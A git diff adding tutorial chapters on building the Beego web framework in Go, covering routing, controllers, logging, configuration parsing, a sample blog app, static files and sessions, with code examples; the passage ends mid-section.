another look at an example that illustrates the routing process: + + func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + } + + http.Handle("/foo", fooHandler) + + http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + }) + + log.Fatal(http.ListenAndServe(":8080", nil)) + +The example above calls `http`'s default mux called `DefaultServeMux`, implicitly specified by the `nil` parameter in the call to `http.ListenAndServe`. The `http.Handle` function takes two parameters: the first parameter is the resource you want users to access, specified by its URL path (which is stored in `r.URL.Path`) and the second argument binds a handler function with this path. The Router has two main jobs: + +- To add and store routing information +- To forward requests to a handler function for processing + +By default, Go routes are handled with `http.Handle` and `http.HandleFunc` types, registered by default through the underlying `DefaultServeMux.Handle(pattern string, handler Handler)` function. This function maps resource paths to handlers and stores them in a `map[string]muxEntry` map. This is the first job that we mentioned above. + +When the application is running, the Go server listens to a port. When it receives a tcp connection, it uses a `Handler` to process it. As aforementioned, since the `Handler` in the example above is `nil`, the default router `http.DefaultServeMux` is used. Using the map of previously stored routes, `DefaultServeMux.ServeHTTP` will dispatch the request to the first handler with a matching path. This is the router's second job. + + for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } + } + +## Routing with Beego + +At present, most Go web applications base their routing on `http`'s default router, however this has several limitations: + +- Does not support dynamic routes with parameters, such as `the/user/:UID` +- Does not have good support for REST. The access methods cannot be restricted; for instance in the above example, when users access `/foo`, they can use the GET, POST, DELETE, and HEAD HTTP methods, among others. +- In large apps, routing rules can become repetitive and cumbersome. Personally, I've developed simple web APIs composed of nearly thirty routing rules when in fact, these rules could have been further simplified using method structs. + +The Beego framework's router is designed to overcome these limitations, taking the REST paradigm into consideration and simplifying the storing and forwarding of routes and requests. + +### Storing routes + +To address the first limitation of the default router, we need to be able to support dynamic URL parameters. For the second and third points, we adopt an alternative approach,mapping REST methods to struct methods and routing requests to this struct instead of to handler functions. This way, a forwarded request can be handled according to it's HTTP method. + +Based on the above ideas, we've designed two data types: `controllerInfo`, which saves the path and the corresponding `controllerType` struct as a `reflect.Type` type, and `ControllerRegistor`, which saves routing information for the specified Beego application. + + type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type + } + + type ControllerRegistor struct { + routers []*controllerInfo + Application *App + } + +ControllerRegistor's external interface contains the following method: + + func(p *ControllerRegistor) Add(pattern string, c ControllerInterface) + +Its detailed implementation is as follows: + + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the default expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. Then compile the regex. + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + + } + +### Static routing + +We've implemented dynamic routing in our example above. By default, Go's `http` package supports serving static files with `http.FileServer`, which returns a `Handler`. Since we have implemented a custom router, we will also need a way of handling static files. Beego's static folder path is saved in a global variable called `StaticDir`, which maps the URL to corresponding paths. The `SetStaticPath`'s implementation can be seen below: + + func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app + } + +The application's static routes can be set like so: + + beego.SetStaticPath("/img", "/static/img") + +### Forwarding routes + +We can forward routes based on the forwarding information contained within `ControllerRegistor`. The detailed implementation can be seen in the following code snippet: + + // AutoRoute + func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } + } + +### Getting started + +Using our router design, we can solve the three limitations mentioned earlier. The three main use-cases are: + +Registering route handlers: + + beego.BeeApp.RegisterController("/", &controllers.MainController{}) + +Handling dynamic parameters: + + beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) + +Regex matching: + + beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) + +## Links + +- [Directory](preface.md) +- Previous section: [Project planning](13.1.md) +- Next section: [Designing controllers](13.3.md) diff --git a/th/13.3.md b/th/13.3.md new file mode 100644 index 000000000..22f3c5c2a --- /dev/null +++ b/th/13.3.md @@ -0,0 +1,167 @@ +# 13.3 Designing controllers + +Most traditional MVC frameworks are based on suffix action mapping. Nowadays, the REST style web architecture is becoming increasingly popular. One can implement REST-style URLs by filtering or rewriting them, but why not just design a new REST-style MVC framework instead? This section is based on this idea, and focuses on designing and implementing a controller based, REST-style MVC framework from scratch. Our goal is to simplify the development of web applications, perhaps even allowing us to write a single line of code capable of serving "Hello, world". + +## The controller's role + +The MVC design pattern is currently the most used framework model for web applications. By keeping Models, Views and Controllers separated, we can keep our web applications modular, maintainable, testable and extensible. A model encapsulates data and any of the business logic that governs that data, such as accessibility rules, persistence, validation, etc. Views serve as the data's representation and in the case of web applications, they usually live as templates which are then rendered into HTML and served. Controllers serve as the "glue" logic between Models and Views and typically have methods for handling different URLs. As described in the previous section, when a URL request is forwarded to a controller by the router, the controller delegates commands to the Model to perform some action, then notifies the View of any changes. In certain cases, there is no need for models to perform any kind of logical or data processing, or for any views to be rendered. For instance, in the case of an HTTP 302 redirect, no view needs to be rendered and no processing needs to be performed by the Model, however the Controller's job is still essential. + +## RESTful design in Beego + +The previous section describes registering route handlers with RESTful structs. Now, we need to design the base class for a logic controller that will be composed of two parts: a struct and interface type. + + type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string + } + + type ControllerInterface interface { + Init(ct *Context, cn string) //Initialize the context and subclass name + Prepare() //some processing before execution begins + Get() //method = GET processing + Post() //method = POST processing + Delete() //method = DELETE processing + Put() //method = PUT handling + Head() //method = HEAD processing + Patch() //method = PATCH treatment + Options() //method = OPTIONS processing + Finish() //executed after completion of treatment + Render() error //method executed after the corresponding method to render the page + } + +Then add the route handling function described earlier in this chapter. When a route is defined to be a `ControllerInterface` type, so long as we can implement this interface, we can have access to the following methods of our base class controller. + + func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" + } + + func (c *Controller) Prepare() { + + } + + func (c *Controller) Finish() { + + } + + func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil + } + + func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) + } + +Above, the controller base class already implements the functions defined in the interface. Through our routing rules, the request will be routed to the appropriate controller which will in turn execute the following methods: + + Init() initialization routine + Prepare() pre-initialization routine; each inheriting subclass may implement this function + method() depending on the request method, perform different functions: GET, POST, PUT, HEAD, etc. Subclasses should implement these functions; if not implemented, then the default is 403 + Render() optional method. Determine whether or not to execute according to the global variable "AutoRender" + Finish() is executed after the action been completed. Each inheriting subclass may implement this function + +## Application guide + +Above, we've just finished discussing Beego's implementation of the base controller class. We can now use this information to design our request handling, inheriting from the base class and implementing the necessary methods in our own controller. + + package controllers + + import ( + "github.com/astaxie/beego" + ) + + type MainController struct { + beego.Controller + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +In the code above, we've implemented a subclass of `Controller` called `MainController` which only implements the `Get()` method. If a user tries to access the resource using any of the other HTTP methods (POST, HEAD, etc), a 403 Forbidden will be returned. However, if a user submits a GET request to the resource and we have the `AutoRender` variable set to `true`, the resource's controller will automatically call its `Render()` function, rendering the corresponding template and responding with the following: + +![](images/13.4.beego.png?raw=true) + +The `index.tpl` code can be seen below; as you can see, parsing model data into a template is quite simple: + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + + +## Links + +- [Directory](preface.md) +- Previous section: [Customizing routers](13.2.md) +- Next section: [Logs and configurations](13.4.md) diff --git a/th/13.4.md b/th/13.4.md new file mode 100644 index 000000000..b2973a82f --- /dev/null +++ b/th/13.4.md @@ -0,0 +1,252 @@ +# 13.4 Logging and configuration + +## The importance of logging and configuration + +Previously in the book, we saw that event logging plays a very important role in application development. With adequate logging, we can record crucial information that can later be dissected for debugging and optimization purposes. In the section where we looked at the seelog logging utility, we saw that it had settings for various log level gradations, which can be essential for program development and deployment; we can set the logging level lower in a development environment, while setting it high in production so that we can mask extraneous information when we are trying to debug our application. + +Setting up the server configuration module for deploying an application involves a number of different server settings. For example, we typically need to provide information regarding database configuration, listening ports, etc., via the configuration file. Setting up a centralized configuration file allows us the flexibility of deploying the application to different machines and connecting to remote databases, if needed. + +## The Beego logging system + +The Beego logger's design borrows ideas from seelog and provides similar functionality in terms of setting logging levels. Beego's system is, however, more lightweight and makes use of the Go's `log.Logger` interface. By default, logs are output to os.Stdout, but users can implement this interface through `beego.SetLogger` to customize this. A detailed example of an implemented interface can be seen below: + + // Log levels for controlling the logging output. + const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical + ) + + // logLevel controls the global log level used by the logger. + var level = LevelTrace + + // LogLevel returns the global log level and can be used in + // a custom implementations of the logger interface. + func Level() int { + return level + } + + // SetLogLevel sets the global log level used by the simple + // logger. + func SetLevel(l int) { + level = l + } + +This section implements the above log grading system. The default level is set to Trace and users can customize grading levels using `SetLevel`. + + // logger references the used application logger. + var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + + // SetLogger sets a new logger. + func SetLogger(l *log.Logger) { + BeeLogger = l + } + + // Trace logs a message at trace level. + func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) + } + } + + // Debug logs a message at debug level. + func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) + } + } + + // Info logs a message at info level. + func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) + } + } + + // Warning logs a message at warning level. + func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) + } + } + + // Error logs a message at error level. + func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) + } + } + + // Critical logs a message at critical level. + func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) + } + } + +The code snippet above initializes a `BeeLogger` object by default, outputting logs to `os.Stdout`. As mentioned, users can implement `beego.SetLogger` to customize the logger's output. `BeeLogger` implements six functions: + +- Trace (record general information, for example:) + - "Entered parse function validation block" + - "Validation: entered second 'if'" + - "Dictionary 'Dict' is empty. Using default value" +- Debug (debugging information, for example:) + - "Web page requested: http://somesite.com Params = '...'" + - "Response generated. Response size: 10000. Sending." + - "New file received. Type: PNG Size: 20000" +- Info (printing general information, for example:) + - "Web server restarted" + - "Hourly statistics: Requested pages: 12345 Errors: 123..." + - "Service paused. Waiting for 'resume' call" +- Warn (warning messages, for example:) + - "Cache corrupted for file = 'test.file'. Reading from back-end" + - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB" + - "No response from statistics server. Statistics not sent" +- Error (error messages, for example:) + - "Internal error. Cannot process request# 12345 Error:...." + - "Cannot perform login: credentials DB not responding" +- Critical (fatal errors, for example:) + - "Critical panic received:.... Shutting down" + - "Fatal error:... App is shutting down to prevent data corruption or loss" + +You can see that each of these levels has a specific purpose. For instance if we set the logging level to Warn (`level=LevelWarning`), at the time of deployment, all of the lower level logs (Trace, Debug, Info) will not output anything. + +## Beego configuration design + +For processing configuration information, Beego implements a key=value file parser which reads information formatted similarly to `ini` configuration files. The parser reads the configuration data and saves it to a map. Finally, it calls several functions for retrieving the value's datatype (int, string, etc). The detailed implementation can be seen below: + +Define some global constants for the `ini` configuration file: + + var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} + ) + +Defines the format of the configuration file: + + // A Config represents the configuration. + type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex + } + + +Defines a function for parsing the file. The process begins by opening the file, then reading it line by line and parsing comments, blank lines and key=value data: + + // ParseFile creates a new Config and parses the file configuration from the + // named file. + func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break + } + if bytes.Equal(line, bEmpty) { + continue + } + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue + } + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off + } + return cfg, nil + } + +Below are a number of functions the parser uses for reading the configuration file. The return value is determined as either a bool, int, float64 or string: + + // Bool returns the boolean value for a given key. + func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) + } + + // Int returns the integer value for a given key. + func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) + } + + // Float returns the float value for a given key. + func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) + } + + // String returns the string value for a given key. + func (c *Config) String(key string) string { + return c.data[key] + } + +## Application guide + +The following function is an example of an application I used to fetch json data from a remote url address: + + func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } + } + +Beego's `Critical()` logging function is called to report any errors which may occur in the `GetJson()` function. `beego.AppConfig.String("url")` is used to obtain information from a configuration file (typically `app.conf`), which might look something like the following: + + appname = hs + url ="http://www.api.com/api.html" + +## Links + +- [Directory](preface.md) +- Previous section: [Designing controllers](13.3.md) +- Next section: [Adding, deleting and updating blogs](13.5.md) diff --git a/th/13.5.md b/th/13.5.md new file mode 100644 index 000000000..e011b8b0d --- /dev/null +++ b/th/13.5.md @@ -0,0 +1,297 @@ +# 13.5 Adding, deleting and updating blogs + +We've already introduced the entire concept behind the Beego framework through examples and pseudo-code. This section will describe how to implement a blogging system using Beego, including the ability to browse, add, modify and delete blog posts. + +## Blog directory + +Our blog's directory structure can be seen below: + +``` +/main.go +/views: + /view.tpl + /new.tpl + /layout.tpl + /index.tpl + /edit.tpl +/models/model.go +/controllers: + /index.go + /view.go + /new.go + /delete.go + /edit.go +``` + + +## Blog routing + +Our blog's main routing rules are as follows: + +``` +//Show blog Home +beego.RegisterController("/", &controllers.IndexController{}) +//View blog details +beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{}) +//Create blog Bowen +beego.RegisterController("/new", &controllers.NewController{}) +//Delete Bowen +beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{}) +//Edit Bowen +beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{}) +``` + + +## Database structure + +A trivial database table to store basic blog information: + +``` +CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) +); +``` + +## Controller + +IndexController: + +``` +type IndexController struct { + beego.Controller +} + +func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplNames = "index.tpl" +} +``` + + +ViewController: + +``` +type ViewController struct { + beego.Controller +} + +func (this *ViewController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "view.tpl" +} +``` + + +NewController + + +``` +type NewController struct { + beego.Controller +} + +func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplNames = "new.tpl" +} + +func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` + + +EditController + +``` +type EditController struct { + beego.Controller +} + +func (this *EditController) Get() { + inputs := this.Input() + id, _ := strconv.Atoi(this.Ctx.Params[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplNames = "edit.tpl" +} + +func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` + +DeleteController + +``` +type DeleteController struct { + beego.Controller +} + +func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) + blog := models.GetBlog(id) + this.Data["Post"] = blog + models.DelBlog(blog) + this.Ctx.Redirect(302, "/") +} +``` + +## Model layer + +``` +package models + +import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" +) + +type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time +} + +func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + return orm +} + +func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return +} + +func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return +} + +func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg +} + +func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return +} +``` + +## View layer + +layout.tpl + +``` + + + My Blog + + + + + + +{{.LayoutContent}} + + + +``` + +index.tpl + +``` +

Blog posts

+ + +``` + +view.tpl + +``` +

{{.Post.Title}}

+{{.Post.Created}}
+ +{{.Post.Content}} +``` + +new.tpl + +``` +

New Blog Post

+
+Title:
+Content + +
+``` + +edit.tpl + +``` +

Edit {{.Post.Title}}

+ +

New Blog Post

+
+Title:
+Content + + +
+``` + +## Links + +- [Directory](preface.md) +- Previous section: [Logs and configurations](13.4.md) +- Next section: [Summary](13.6.md) diff --git a/th/13.6.md b/th/13.6.md new file mode 100644 index 000000000..03c8fb561 --- /dev/null +++ b/th/13.6.md @@ -0,0 +1,10 @@ +# 13.6 Summary + + +In this chapter, we described how to implement the major components of a Go web framework. We first designed a router to make up for some of shortcomings in Go's built-in `http` package, creating a router capable of dynamic routing and REST support. We also designed our own RESTful Controller class in accord with the principles of MVC, borrowing ideas from frameworks such as Tornado. Next, we designed and implemented a template layout and automated rendering system, mainly using Go's built-in templating engine. We then implemented a custom logger and talked about framework configuration to allow for flexible application deployment. Through this process, we have implemented a basic web framework called Beego which, at present, has been open-sourced on Github. Lastly, we implemented a simple blogging application on top of Beego. After having gone through all of these examples, you will hopefully have learned how to quickly develop websites in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Add, delete and update blogs](13.5.md) +- Next chapter: [Develop web framework](14.0.md) diff --git a/th/14.0.md b/th/14.0.md new file mode 100644 index 000000000..2cb72cc9e --- /dev/null +++ b/th/14.0.md @@ -0,0 +1,11 @@ +# 14 Developing a web framework + +Chapter 13 described how to develop a web framework in Go. We introduced the MVC architecture, a routing and logging system, and we also looked at simple server configuration. These are the basic building blocks of most frameworks, and it's a good start. However, for more sophisticated needs, some auxiliary tools are needed to facilitate rapid website development. In this chapter, we will provide some quick tips and tools for speeding up development. The first section will cover the how-to's how processing static files and we will be using Twitter's open source CSS and Javascript framework called Bootstrap for beautifying our website. The second section describes how to use the previously described sessions for user login processing. Next, the third section describes how to generate forms, and how to process these forms for valid data. We will also talk about how to bind models for CRUD operations. In section 4, we'll describe how to perform some user authentication including basic HTTP authentication and HTTP digest authentication. Finally, the last section will talk about implementing the previously described i18n, to support multi-lingual web applications. + +By extending Beego in this chapter, we will be able to rapidly develop full stack web applications. Of course, we'll go through the features of these extensions step-by-step, applying them to the blogging system we developed in Chapter 13. Through the development of a complete and beautiful blogging system, users will hopefully be able to see how Beego can help to boost developer productivity. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 13 summary](13.6.md) +- Next section: [Static files](14.1.md) diff --git a/th/14.1.md b/th/14.1.md new file mode 100644 index 000000000..fc7e445ff --- /dev/null +++ b/th/14.1.md @@ -0,0 +1,79 @@ +# 14.1 Static files + +We've already talked about how to deal with static files in previous sections. Now, let's look at how to set up and use static files inside of Beego. Then, through introducing Twitter's open source HTML and CSS framework Bootstrap, we'll be able quickly create beautiful looking websites without having to do too much design work. + +## Beego static files and settings + +Go's `net/http` package provides a static file server with functions such as `ServeFile` and `FileServer`. Beego's static file handling is based on this layer, and its specific implementation is as follow: + + //static file server + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return + } + } + +`StaticDir` stores the URL which corresponds to a static file directory, so when handling requests, we simply need to determine whether or not the URL begins with a static file path. If so, we can simply respond using `http.ServeFile`. + +The following is an example: + + beego.StaticDir["/asset"] = "/static" + +Then, a request with a URL such as `http://www.beego.me/asset/bootstrap.css` will result in `/static/bootstrap.css` being served to the client. + +## Bootstrap integration + +Bootstrap is an open source Toolkit for front-end development launched by Twitter. For developers, Bootstrap is one of the best front end kits for rapid Web application development. It is a collection of HTML, CSS and javascript components, using the latest HTML5 standards. These include a responsive grid, forms, buttons, tables, and many other useful things. + +- Components +Bootstrap contains a wealth of Web components. Using these components, you can quickly build a beautiful, fully functional website which includes the following components: +Pull-down menus, button groups, button drop-down menus, navigation, navigation bars, bread crumbs, pagination, layout, thumbnails, warning dialogs, progress bars, and other media objects +- JavaScript plugins +Bootstrap comes with 13 jQuery plug-ins for Bootstrap components, which gives them "life". These include: +Modal dialogs, tabs, scroll bars, pop-up boxes and so on. +- Bootstrap framework customization +All Bootstrap css variables can be modified according to your needs. + +![](images/14.1.bootstrap.png?raw=true) + +Figure 14.1 a bootstrap website + +Next, let's see how we can use Bootstrap inside our Beego application to quickly create a beautiful website: + +1. First, let's download the bootstrap directory into our project's static directory, as shown in the following screenshot: + + ![](images/14.1.bootstrap2.png?raw=true) + + Figure 14.2 Project static file directory structure + +2. Because Beego sets a default value for `StaticDir`, if your static files directory is `static`, then you need not go any further: + + StaticDir["/static"] = "static" + +3. Our templates use the following asset paths: + + // css file + + + // js file + + + // Picture files + + +With the above code, we are integrating Bootstrap into our Beego application. The figure below demonstrates the rendered page: + +![](images/14.1.bootstrap3.png?raw=true) + +Figure 14.3 website integrated with Bootstrap + +These templates and formats all come shipped with Bootstrap so we won't repeat the complete code here, however you can take a look at the project's official page to learn how to write your own templates. + +## Links + +- [Directory](preface.md) +- Previous section: [Developing a web framework](14.0.md) +- Next section: [Sessions](14.2.md) diff --git a/th/14.2.md b/th/14.2.md new file mode 100644 index 000000000..b309d9b38 --- /dev/null +++ b/th/14.2.md @@ -0,0 +1,107 @@ +# 14.2 Sessions + +In chapter 6, we introduced some basic concepts pertaining to sessions in Go, and we implemented a session manager. The Beego framework uses this session manager to implement some convenient session-handling functionality. + +## Integrating sessions + +Beego handles sessions mainly according to the following global variables: + + // related to session + SessionOn bool // whether or not to open the session module. Defaults to false. + SessionProvider string // the desired session backend processing module. Defaults to an in-memory sessionManager + SessionName string // the name of the client saved cookies + SessionGCMaxLifetime int64 // cookie validity + + GlobalSessions *session.Manager// global session controller + +Of course, the values of these variables shown above need to be initialized. You can also use the values from the following configuration file code to set these values: + + if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false + } else { + SessionOn = ar + } + if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" + } else { + SessionProvider = ar + } + if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" + } else { + SessionName = ar + } + if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val + } else { + SessionGCMaxLifetime = 3600 + } + +Add the following code in the `beego.Run` function: + + if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() + } + +As long as `SessionOn` is set to true, it will open the session by default with an independent goroutine session handler + +In order to facilitate our custom Controller quickly using session, the author `beego.Controller` provides the following methods: + +To assist us in quickly using sessions in a custom Controller, `beego.Controller` provides the following method: + + func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return + } + +## Using sessions + +From the code above, we can see that the Beego framework simply inherits its session functionality. So, how do we use it in our projects? + +First of all, we need to open the session at the entry point of our application. + + beego.SessionOn = true + +We can then use the corresponding session method inside our controller like so: + + func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) + } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" + } + +The code above shows how to use sessions in the controller logic. The process can be divided into two steps: + +1. Getting session object + + // Get the object, similar 